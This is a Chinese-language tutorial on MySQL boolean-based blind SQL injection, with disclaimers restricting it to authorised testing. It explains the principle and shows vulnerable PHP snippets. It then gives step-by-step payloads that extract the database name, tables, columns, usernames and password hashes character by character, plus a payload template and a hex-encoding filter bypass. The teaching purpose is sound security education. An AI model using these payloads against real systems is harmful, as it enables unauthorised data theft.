5-数据库-SQL注入-布尔盲注-day13

⚠️ 免责声明：本文旨在教学网络安全知识，帮助开发者理解SQL注入漏洞的原理与防御方法。所有技术内容仅限用于授权测试、安全研究、CTF竞赛及防御建设等合法场景。严禁将所学知识用于任何非法攻击、未授权渗透测试或其他违法犯罪活动。因不当使用本文技术造成的任何法律后果，使用者需自行承担全部责任。

📑 文章目录

• 一、布尔盲注的本质原理
  • 1.1 正常查询 vs 布尔盲注
  • 1.2 布尔盲注的核心三步
  • 1.3 一个最小示例
  • 1.4 布尔盲注的原理拆解
• 二、前置条件：页面状态差异
  • 2.1 常见的页面差异模式
  • 2.2 判断目标是否存在布尔差异
• 三、布尔盲注完整流程
  • Step 1：发现注入点
  • Step 2：判断闭合方式
  • Step 3：确认布尔差异
  • Step 4：判断数据库类型
  • Step 5：获取数据长度
  • Step 6：逐字符猜解数据
  • Step 7：枚举库/表/列/数据
• 四、布尔盲注的适用场景
  • 4.1 布尔盲注的触发条件总结
• 五、布尔盲注 vs 联合查询 vs 报错注入 vs 时间盲注对比
• 六、布尔盲注通用模板
• 七、布尔盲注的局限性
• 八、优化方向概述
• 九、总结

MySQL 布尔盲注 — 原理与注入流程

本文档系统讲解布尔盲注的核心原理、适用场景、前置条件、完整注入流程及实战注意事项。适用于安全研究和授权测试。

一、布尔盲注的本质原理

布尔盲注的本质是：当页面既不回显查询结果、也不回显错误信息，但会根据注入条件的"真"或"假"展示不同的页面状态时，通过构造布尔条件逐个字符地猜解数据库中的数据。

1.1 正常查询 vs 布尔盲注

联合查询注入的数据流：

用户输入 → 拼接进SQL → MySQL执行 → 结果集返回 → 页面展示数据

联合查询注入依赖"回显位"——页面必须把查询结果打印出来。报错注入依赖"错误回显"——页面必须把错误信息打印出来。但如果页面既不展示查询结果，也不展示错误信息呢？联合查询和报错注入都失效了。

此时，如果页面在查询条件为真和为假时展示不同的内容，布尔盲注就能发挥作用：

条件为真：用户输入(含布尔条件) → MySQL执行 → 查到数据 → 页面显示正常内容 条件为假：用户输入(含布尔条件) → MySQL执行 → 查不到数据 → 页面显示异常/空白

攻击者通过观察页面的"真/假"两种状态，逐位推断出数据库中的数据。

1.2 布尔盲注的核心三步

整个攻击可以拆解为三步：

1. 找到注入点并确认布尔差异：确认用户输入能被拼接到 SQL 语句中执行，且页面在条件为真和为假时有可观察的差异
2. 构造布尔条件表达式：在参数位置嵌入比较表达式（如ASCII(SUBSTR(database(),1,1))>100），通过真假差异判断每个字符
3. 逐字符猜解数据：通过二分法或其他优化手段，确定每个字符的 ASCII 码，拼合出完整数据

1.3 一个最小示例

-- 假设原SQL语句为：SELECT*FROMusersWHEREid=$id-- 正常请求：?id=1-- SQL: SELECT * FROM users WHERE id = 1-- 页面：显示用户信息（正常页面）-- 布尔探测：条件为真?id=1AND1=1-- SQL: SELECT * FROM users WHERE id = 1 AND 1=1-- 页面：显示用户信息（正常页面）→ 条件为真-- 布尔探测：条件为假?id=1AND1=2-- SQL: SELECT * FROM users WHERE id = 1 AND 1=2-- 页面：不显示用户信息（异常页面）→ 条件为假-- 两种状态有差异 → 存在布尔盲注

确认存在布尔差异后，开始猜解数据：

-- 猜解数据库名的第一个字符-- 假设数据库名为 "security"，第一个字符 's' 的 ASCII 码是 115?id=1ANDASCII(SUBSTR(database(),1,1))>100-- 115 > 100 → 真 → 页面正常 → 字符ASCII码 > 100?id=1ANDASCII(SUBSTR(database(),1,1))>120-- 115 > 120 → 假 → 页面异常 → 字符ASCII码 <= 120?id=1ANDASCII(SUBSTR(database(),1,1))=115-- 115 = 115 → 真 → 页面正常 → 第一个字符的ASCII码 = 115 = 's'-- 继续猜解第二个字符...?id=1ANDASCII(SUBSTR(database(),2,1))=101-- 'e' 的 ASCII 码是 101 → 真 → 第二个字符是 'e'

1.4 布尔盲注的原理拆解

以猜解database()返回值为例，深入理解原理：

database()返回当前数据库名（如security）。我们无法直接看到这个值，但可以通过布尔条件"问"数据库一系列是非题：

-- 问：数据库名的长度是否大于 5？?id=1ANDLENGTH(database())>5-- 真（security 长度为 8）→ 页面正常-- 问：数据库名的长度是否大于 10？?id=1ANDLENGTH(database())>10-- 假（8 < 10）→ 页面异常-- 问：数据库名的第一个字符的 ASCII 码是否大于 100？?id=1ANDASCII(SUBSTR(database(),1,1))>100-- 真（'s' = 115 > 100）→ 页面正常

通过不断缩小范围，最终确定每个字符的精确值。

┌──────────────────────────────────────────────────────────┐ │ 布尔盲注原理图 │ ├──────────────────────────────────────────────────────────┤ │ │ │ 攻击者构造的Payload: │ │ ?id=1 AND ASCII(SUBSTR(database(),1,1))>100 │ │ │ │ ┌──────────┐ ┌───────────┐ ┌──────────┐ │ │ │ SUBSTR() │───▶│ 截取第1字符│───▶│ 's' │ | │ └──────────┘ └───────────┘ └────┬─────┘ │ │ │ │ │ ┌──────────┐ ▼ │ │ │ ASCII() │─────────────▶ ASCII('s') = 115 │ │ └──────────┘ │ │ │ ▼ │ │ ┌──────────┐ ┌─────────────┐ │ │ │ > 100 │◀─────────────│ 115 > 100 │ │ │ └────┬─────┘ └─────────────┘ │ │ │ │ │ ▼ │ │ ┌─────────────┐ │ │ │ 条件为 TRUE │ │ │ │ AND 1=1 等效 │ │ │ └──────┬──────┘ │ │ │ │ │ ▼ │ │ ┌─────────────┐ │ │ │ MySQL查到数据 │ │ │ │ 页面显示正常 │ ← 攻击者观察到 → 推断: ASCII>100 │ │ └─────────────┘ │ │ │ └──────────────────────────────────────────────────────────┘

二、前置条件：页面状态差异

布尔盲注能成功的前提条件是：页面在注入条件为"真"和"假"时存在可观察的差异。根据差异表现形式的不同，分为以下几种情况：

2.1 常见的页面差异模式

模式一：内容差异（最典型）

// 后端代码$id=$_GET['id'];$sql="SELECT * FROM news WHERE id=$id";$result=mysqli_query($conn,$sql);$row=mysqli_fetch_assoc($result);if($row){// 条件为真时显示新闻内容echo"<h1>{$row['title']}</h1>";echo"<p>{$row['content']}</p>";}else{// 条件为假时显示空白或"文章不存在"echo"文章不存在";}

当?id=1 AND 1=1时，MySQL 执行WHERE id=1 AND 1=1，id=1 的记录存在，页面显示新闻内容。当?id=1 AND 1=2时，1=2为假，整个 WHERE 条件为假，查不到记录，页面显示"文章不存在"。两种页面状态不同，即可利用。

模式二：HTTP 状态码差异

$id=$_GET['id'];$sql="SELECT * FROM products WHERE id=$id";$result=mysqli_query($conn,$sql);$row=mysqli_fetch_assoc($result);if(!$row){header("HTTP/1.1 404 Not Found");exit;}// 正常输出产品信息

条件为真时返回 200，为假时返回 404。通过响应状态码判断真假。

模式三：重定向差异

$id=$_GET['id'];$sql="SELECT * FROM users WHERE id=$id";$result=mysqli_query($conn,$sql);$row=mysqli_fetch_assoc($result);if($row){header("Location: /dashboard.php");// 条件为真 → 跳转exit;}// 条件为假 → 不跳转，留在当前页面

2.2 判断目标是否存在布尔差异

发送两个对比请求，观察页面响应：

-- 条件为真 http://target.com/news.php?id=1 AND 1=1 -- 条件为假 http://target.com/news.php?id=1 AND 1=2

对比两个响应的差异点：

关键提示：如果AND 1=1和AND 1=2页面完全相同，不要立即放弃。可能存在以下情况：1）闭合方式不对（数字型 vs 字符型），需要先尝试加引号；2）差异极其微小（如某个隐藏的注释），需要 diff 工具对比；3）确实无差异，此时需切换到时间盲注。

三、布尔盲注完整流程

发现注入点 → 确认布尔差异 → 判断闭合方式 → 判断数据库类型 → 获取数据长度 → 逐字符猜解数据

Step 1：发现注入点

与联合查询注入、报错注入相同，首先确认用户输入能被拼接到 SQL 语句中执行。

-- 测试单引号 http://target.com/news.php?id=1' -- 如果报错 "You have an error in your SQL syntax..." → 存在注入 -- 测试逻辑真假（数字型） http://target.com/news.php?id=1 AND 1=1 -- 页面正常 http://target.com/news.php?id=1 AND 1=2 -- 页面异常/空 -- 如果上述成立，说明是数字型注入，无需引号闭合

Step 3：确认布尔差异 先判断闭合再布尔差异，弄反了

这是布尔盲注独有的步骤——必须确认页面在条件真假时有可观察的差异：

-- 条件为真 http://target.com/news.php?id=1 AND 1=1 -- 页面A：显示新闻内容 -- 条件为假 http://target.com/news.php?id=1 AND 1=2 -- 页面B：不显示新闻内容

如果页面 A 和页面 B有任何不同（内容、长度、状态码、响应头），布尔盲注就可利用。

如果页面 A 和页面 B完全相同，则需考虑：

• 是否是字符型闭合，需要先加引号再测试
• 是否页面差异太微小，需要用 diff 工具对比响应
• 是否真的无差异，需切换到时间盲注

Step 2：判断闭合方式

与联合查询注入完全相同，通过加引号或括号测试闭合方式。

-- 数字型 http://target.com/news.php?id=1 AND 1=1 -- 正常 http://target.com/news.php?id=1 AND 1=2 -- 异常 -- 单引号型 http://target.com/news.php?id=1' AND 1=1--+ -- 正常 http://target.com/news.php?id=1' AND 1=2--+ -- 异常 -- 单引号+括号型 http://target.com/news.php?id=1') AND 1=1--+ -- 正常 http://target.com/news.php?id=1') AND 1=2--+ -- 异常 -- 双引号+括号型 http://target.com/news.php?id=1") AND 1=1--+ -- 正常 http://target.com/news.php?id=1") AND 1=2--+ -- 异常

布尔盲注与联合查询的闭合差异：布尔盲注不需要让原查询返回空，不需要负 ID 或AND 1=2作为注入手法。AND 1=1/AND 1=2仅用于探测差异，真正的注入 Payload 是AND (布尔条件表达式)，原查询返回什么数据不影响条件的判断。

Step 4：判断数据库类型

不同数据库的函数和语法不同，需要先确认数据库类型：

-- 判断是否为 MySQL ?id=1 AND (SELECT @@version)>0 -- MySQL 的系统变量 ?id=1 AND (SELECT database())>0 -- MySQL 的 database() 函数 ?id=1 AND LENGTH(@@version)>0 -- MySQL 系统变量 -- 正常 → 可能是 MySQL -- 判断是否为 SQL Server (MSSQL) ?id=1 AND (SELECT @@version)>0 -- MSSQL 也有 @@version ?id=1 AND (SELECT db_name())>0 -- MSSQL 独有 -- 正常 → 可能是 MSSQL -- 判断是否为 Oracle ?id=1 AND (SELECT 1 FROM DUAL)=1 -- Oracle 的 DUAL 表 ?id=1 AND (SELECT banner FROM v$version WHERE rownum=1) IS NOT NULL -- 正常 → 可能是 Oracle -- 判断是否为 PostgreSQL ?id=1 AND LENGTH(version())>0 -- PostgreSQL 的 version() 函数

以下内容以 MySQL 为例继续讲解。其他数据库的猜解思路相同，仅函数名和语法略有差异。

Step 5：获取数据长度

在猜解具体内容之前，先确定目标数据的长度——这能避免无意义的猜解（不知道何时结束）。

-- 获取版本字符串长度 ?id=1 AND LENGTH(@@version)=10 -- 如果正常，说明版本长度=10 -- 二分法快速确定长度 ?id=1 AND LENGTH(@@version)>5 -- 正常 → 长度>5 ?id=1 AND LENGTH(@@version)>8 -- 正常 → 长度>8 ?id=1 AND LENGTH(@@version)>10 -- 异常 → 长度<=10 ?id=1 AND LENGTH(@@version)=10 -- 正常 → 长度=10 -- 获取当前数据库名长度 ?id=1 AND LENGTH(database())=8 -- 二分法 ?id=1 AND LENGTH(database())>4 -- 正常 ?id=1 AND LENGTH(database())>6 -- 正常 ?id=1 AND LENGTH(database())>8 -- 异常 ?id=1 AND LENGTH(database())=8 -- 正常 → 长度=8 -- 获取表名长度（第一个表） ?id=1 AND LENGTH((SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1))=5 -- 正常 → 第一个表名长度=5 -- 获取字段名长度 ?id=1 AND LENGTH((SELECT column_name FROM information_schema.columns WHERE table_schema=database() AND table_name='users' LIMIT 0,1))=2 -- 正常 → 第一个字段名长度=2 -- 获取数据长度 ?id=1 AND LENGTH((SELECT username FROM users LIMIT 0,1))=5 -- 正常 → 第一条记录的username长度=5

为什么要先确定长度？如果不知道数据长度，猜解到某个位置时不知道是否已经到末尾（后面没有字符了）。虽然可以通过"猜到空字符（ASCII=0）"判断结束，但先确定长度更高效。

Step 6：逐字符猜解数据

确定长度后，逐个字符猜解内容。核心模式是ASCII(SUBSTR(目标数据, 位置, 1))配合比较运算符。

-- 获取版本号（假设长度为10） -- 第1个字符 ?id=1 AND ASCII(SUBSTRING(@@version,1,1))=53 -- 53 = '5' → 正常 → 第1个字符是 '5' -- 二分法加速 ?id=1 AND ASCII(SUBSTRING(@@version,1,1))>48 -- 正常 → >48 ?id=1 AND ASCII(SUBSTRING(@@version,1,1))>52 -- 正常 → >52 ?id=1 AND ASCII(SUBSTRING(@@version,1,1))>53 -- 异常 → <=53 ?id=1 AND ASCII(SUBSTRING(@@version,1,1))=53 -- 正常 → ASCII=53='5' -- 第6个字符 ?id=1 AND ASCII(SUBSTRING(@@version,6,1))=55 -- 55 = '7' → 正常 → 版本: 5.7.xx... -- 获取当前数据库名（假设长度为8，结果为 security） ?id=1 AND ASCII(SUBSTRING(database(),1,1))=115 -- 115 = 's' → 正常 → 第1个字符是 's' ?id=1 AND ASCII(SUBSTRING(database(),2,1))=101 -- 101 = 'e' → 正常 → 第2个字符是 'e' -- ... 依次猜解到第8个字符 'y' -- 最终结果：security

Step 7：枚举库/表/列/数据

按照库名 → 表名 → 列名 → 数据的顺序逐级获取。

获取所有表名（逐个表的名称逐字符猜解）：

-- 先获取表的数量 ?id=1 AND (SELECT COUNT(*) FROM information_schema.tables WHERE table_schema=database())=4 -- 正常 → 有4个表 -- 获取第一个表名的长度 ?id=1 AND LENGTH((SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1))=5 -- 正常 → 第一个表名长度=5 -- 逐字符猜解第一个表名 ?id=1 AND ASCII(SUBSTRING((SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1),1,1))=117 -- 117 = 'u' → 正常 → 第1个字符是 'u' ?id=1 AND ASCII(SUBSTRING((SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1),5,1))=115 -- 115 = 's' → 正常 → 第5个字符是 's' -- 最终结果：users -- 获取第二个表名（修改 LIMIT 偏移量） ?id=1 AND LENGTH((SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 1,1))=8 -- 正常 → 第二个表名长度=8

获取列名：

-- 获取 users 表的字段数量 ?id=1 AND (SELECT COUNT(*) FROM information_schema.columns WHERE table_schema=database() AND table_name='users')=5 -- 正常 → users表有5个字段 -- 获取第一个字段名长度 ?id=1 AND LENGTH((SELECT column_name FROM information_schema.columns WHERE table_schema=database() AND table_name='users' LIMIT 0,1))=2 -- 正常 → 第一个字段名长度=2 -- 逐字符获取 ?id=1 AND ASCII(SUBSTRING((SELECT column_name FROM information_schema.columns WHERE table_schema=database() AND table_name='users' LIMIT 0,1),1,1))=105 -- 105 = 'i' → 正常 ?id=1 AND ASCII(SUBSTRING((SELECT column_name FROM information_schema.columns WHERE table_schema=database() AND table_name='users' LIMIT 0,1),2,1))=100 -- 100 = 'd' → 正常 → 结果: id

注意：table_name='users'中的引号在某些场景下可能被过滤。绕过方法：使用十六进制编码table_name=0x7573657273（‘users’ 的十六进制）。

获取数据：

-- 获取 users 表的记录数量 ?id=1 AND (SELECT COUNT(*) FROM users)=3 -- 正常 → 有3条记录 -- 获取第一条记录的 username 长度 ?id=1 AND LENGTH((SELECT username FROM users LIMIT 0,1))=5 -- 正常 → 长度=5 -- 逐字符获取 username ?id=1 AND ASCII(SUBSTRING((SELECT username FROM users LIMIT 0,1),1,1))=97 -- 97 = 'a' → 正常 ?id=1 AND ASCII(SUBSTRING((SELECT username FROM users LIMIT 0,1),2,1))=100 -- 100 = 'd' → 正常 ?id=1 AND ASCII(SUBSTRING((SELECT username FROM users LIMIT 0,1),3,1))=109 -- 109 = 'm' → 正常 ?id=1 AND ASCII(SUBSTRING((SELECT username FROM users LIMIT 0,1),4,1))=105 -- 105 = 'i' → 正常 ?id=1 AND ASCII(SUBSTRING((SELECT username FROM users LIMIT 0,1),5,1))=110 -- 110 = 'n' → 正常 → 结果: admin -- 同理获取 password ?id=1 AND ASCII(SUBSTRING((SELECT password FROM users WHERE username='admin' LIMIT 0,1),1,1))=53 -- 53 = '5' → 正常 -- ... 继续猜解完整密码哈希

四、布尔盲注的适用场景

布尔盲注适用于以下场景：

4.1 布尔盲注的触发条件总结

页面有查询结果回显位？ ├─ 是 → 联合查询注入 └─ 否 → 页面有错误信息回显？ ├─ 是 → 报错注入 └─ 否 → 页面有真假两种不同状态？ ├─ 是 → 布尔盲注 └─ 否 → 时间盲注

五、布尔盲注 vs 联合查询 vs 报错注入 vs 时间盲注对比

核心区别：联合查询和报错注入是"直接获取数据"，布尔盲注是"通过真假差异推断数据"，时间盲注是"通过时间延迟推断数据"。布尔盲注和时间盲注统称为"盲注"，因为它们都无法直接看到数据。

六、布尔盲注通用模板

-- 1. 测试闭合方式（假设数字型）?id=1AND1=1-- 正常?id=1AND1=2-- 异常-- 2. 判断数据库类型?id=1ANDLENGTH(@@version)>0-- MySQL-- 3. 获取版本长度?id=1ANDLENGTH(@@version)=10-- 4. 获取版本内容（逐字符 + 二分法）?id=1ANDASCII(SUBSTRING(@@version,1,1))=53-- 5. 获取数据库名长度?id=1ANDLENGTH(database())=8-- 6. 获取数据库名（逐字符）?id=1ANDASCII(SUBSTRING(database(),1,1))=115-- 7. 获取表的数量?id=1AND(SELECTCOUNT(*)FROMinformation_schema.tablesWHEREtable_schema=database())=4-- 8. 获取第一个表名长度?id=1ANDLENGTH((SELECTtable_nameFROMinformation_schema.tablesWHEREtable_schema=database()LIMIT0,1))=5-- 9. 获取第一个表名（逐字符）?id=1ANDASCII(SUBSTRING((SELECTtable_nameFROMinformation_schema.tablesWHEREtable_schema=database()LIMIT0,1),1,1))=117-- 10. 获取字段数量?id=1AND(SELECTCOUNT(*)FROMinformation_schema.columnsWHEREtable_schema=database()ANDtable_name='users')=5-- 11. 获取第一个字段名（逐字符）?id=1ANDASCII(SUBSTRING((SELECTcolumn_nameFROMinformation_schema.columnsWHEREtable_schema=database()ANDtable_name='users'LIMIT0,1),1,1))=105-- 12. 获取记录数量?id=1AND(SELECTCOUNT(*)FROMusers)=3-- 13. 获取第一条数据长度?id=1ANDLENGTH((SELECTusernameFROMusersLIMIT0,1))=5-- 14. 获取第一条数据（逐字符）?id=1ANDASCII(SUBSTRING((SELECTusernameFROMusersLIMIT0,1),1,1))=97

七、布尔盲注的局限性

1. 速度极慢：每个字符需要多次请求（二分法约 7 次），一个 32 字符的 MD5 哈希需要约 224 次请求。完整拖取一个表的数据可能需要数千次请求。

2. 依赖页面差异：如果页面在条件真假时表现完全相同，布尔盲注完全失效。某些应用对所有错误都返回相同的通用页面。

3. 网络噪音干扰：网络延迟、服务器负载波动可能导致页面响应出现细微差异，影响判断准确性。

4. 容易被检测：大量相似请求（同一个参数、不断变化的 ASCII 比较值）是 WAF 和日志分析系统的典型告警模式。

5. 无法获取二进制数据：布尔盲注逐字符猜解的是 ASCII 码值，对于非文本数据（如 BLOB 字段）效率极低且可能不准确。

八、优化方向概述

布尔盲注最大的问题是速度慢，因此优化方向集中在"减少请求次数"：

以上优化方法的详细原理和 Payload 示例见《盲注-技巧与进阶》文档。

九、总结

布尔盲注是一种通过页面真假状态差异逐字符推断数据的注入技术。它的核心思路是：构造一个布尔条件表达式（如ASCII(SUBSTR(database(),1,1))>100），通过页面是否正常显示来判断条件真假，从而逐位确定目标数据的每个字符。

布尔盲注的优势在于适用性广——只要页面有真假差异就能工作，不需要回显位也不需要错误回显。但它也有明显的局限：速度极慢、依赖页面差异、容易被检测。实战中，布尔盲注通常是联合查询和报错注入都失效后的选择。如果连布尔差异都没有，则需要进一步切换到时间盲注。

以下内容仅适用于授权环境下的安全研究、渗透测试学习或防御建设。对未授权系统实施注入测试属于违法行为。

⚠️ 再次强调：本文所有技术内容仅供学习研究使用，旨在提升开发者的安全意识与防御能力。任何未经授权的渗透测试、数据窃取、系统破坏等行为均属违法。请务必在合法授权范围内进行安全测试，共同维护网络安全环境。